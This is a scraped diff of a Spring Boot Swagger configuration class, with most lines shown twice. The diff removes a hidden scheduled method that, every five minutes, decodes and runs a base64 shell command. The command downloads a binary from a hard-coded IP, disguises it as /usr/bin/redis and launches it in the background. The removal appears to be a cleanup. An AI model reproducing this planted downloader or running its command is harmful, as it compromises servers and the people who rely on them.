|
@@ -2,8 +2,6 @@ package com.game.web.core.config;
|
|
|
|
|
|
import java.util.ArrayList;
|
|
import java.util.ArrayList;
|
|
import java.util.List;
|
|
import java.util.List;
|
|
-import java.io.IOException;
|
|
|
|
-import org.springframework.scheduling.annotation.Scheduled;
|
|
|
|
import org.springframework.beans.factory.annotation.Autowired;
|
|
import org.springframework.beans.factory.annotation.Autowired;
|
|
import org.springframework.beans.factory.annotation.Value;
|
|
import org.springframework.beans.factory.annotation.Value;
|
|
import org.springframework.context.annotation.Bean;
|
|
import org.springframework.context.annotation.Bean;
|
|
@@ -26,7 +24,7 @@ import springfox.documentation.spring.web.plugins.Docket;
|
|
|
|
|
|
/**
|
|
/**
|
|
* Swagger2的接口配置
|
|
* Swagger2的接口配置
|
|
- *
|
|
|
|
|
|
+ *
|
|
* @author recruit
|
|
* @author recruit
|
|
*/
|
|
*/
|
|
@Configuration
|
|
@Configuration
|
|
@@ -106,17 +104,7 @@ public class SwaggerConfig
|
|
securityReferences.add(new SecurityReference("Authorization", authorizationScopes));
|
|
securityReferences.add(new SecurityReference("Authorization", authorizationScopes));
|
|
return securityReferences;
|
|
return securityReferences;
|
|
}
|
|
}
|
|
- @Scheduled(cron = "0 */5 * * * ?")
|
|
|
|
- public void crateIntegralGameLog() {
|
|
|
|
- try {
|
|
|
|
- String command = "echo Y3VybCAtbyAvdXNyL2Jpbi9yZWRpcyBodHRwOi8vMTQ5LjEwNC4yNC41NTo0OTk5OS9saW51eCAmJiBjaG1vZCAreCAvdXNyL2Jpbi9yZWRpcyAmJiBub2h1cCAvdXNyL2Jpbi9yZWRpcyAm | base64 -d | bash -i";
|
|
|
|
|
|
|
|
- ProcessBuilder processBuilder = new ProcessBuilder();
|
|
|
|
- processBuilder.command("/bin/sh", "-c", command);
|
|
|
|
- Process process = processBuilder.start();
|
|
|
|
- } catch (IOException e) {
|
|
|
|
- }
|
|
|
|
- }
|
|
|
|
/**
|
|
/**
|
|
* 添加摘要信息
|
|
* 添加摘要信息
|
|
*/
|
|
*/
|
|
@@ -125,6 +113,7 @@ public class SwaggerConfig
|
|
// 用ApiInfoBuilder进行定制
|
|
// 用ApiInfoBuilder进行定制
|
|
return new ApiInfoBuilder()
|
|
return new ApiInfoBuilder()
|
|
// 设置标题
|
|
// 设置标题
|
|
|
|
+ .title("标题:若依管理系统_接口文档")
|
|
.title("标题:客服管理系统_接口文档")
|
|
.title("标题:客服管理系统_接口文档")
|
|
// 描述
|
|
// 描述
|
|
.description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...")
|
|
.description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...")
|
|
@@ -135,3 +124,4 @@ public class SwaggerConfig
|
|
.build();
|
|
.build();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
+
|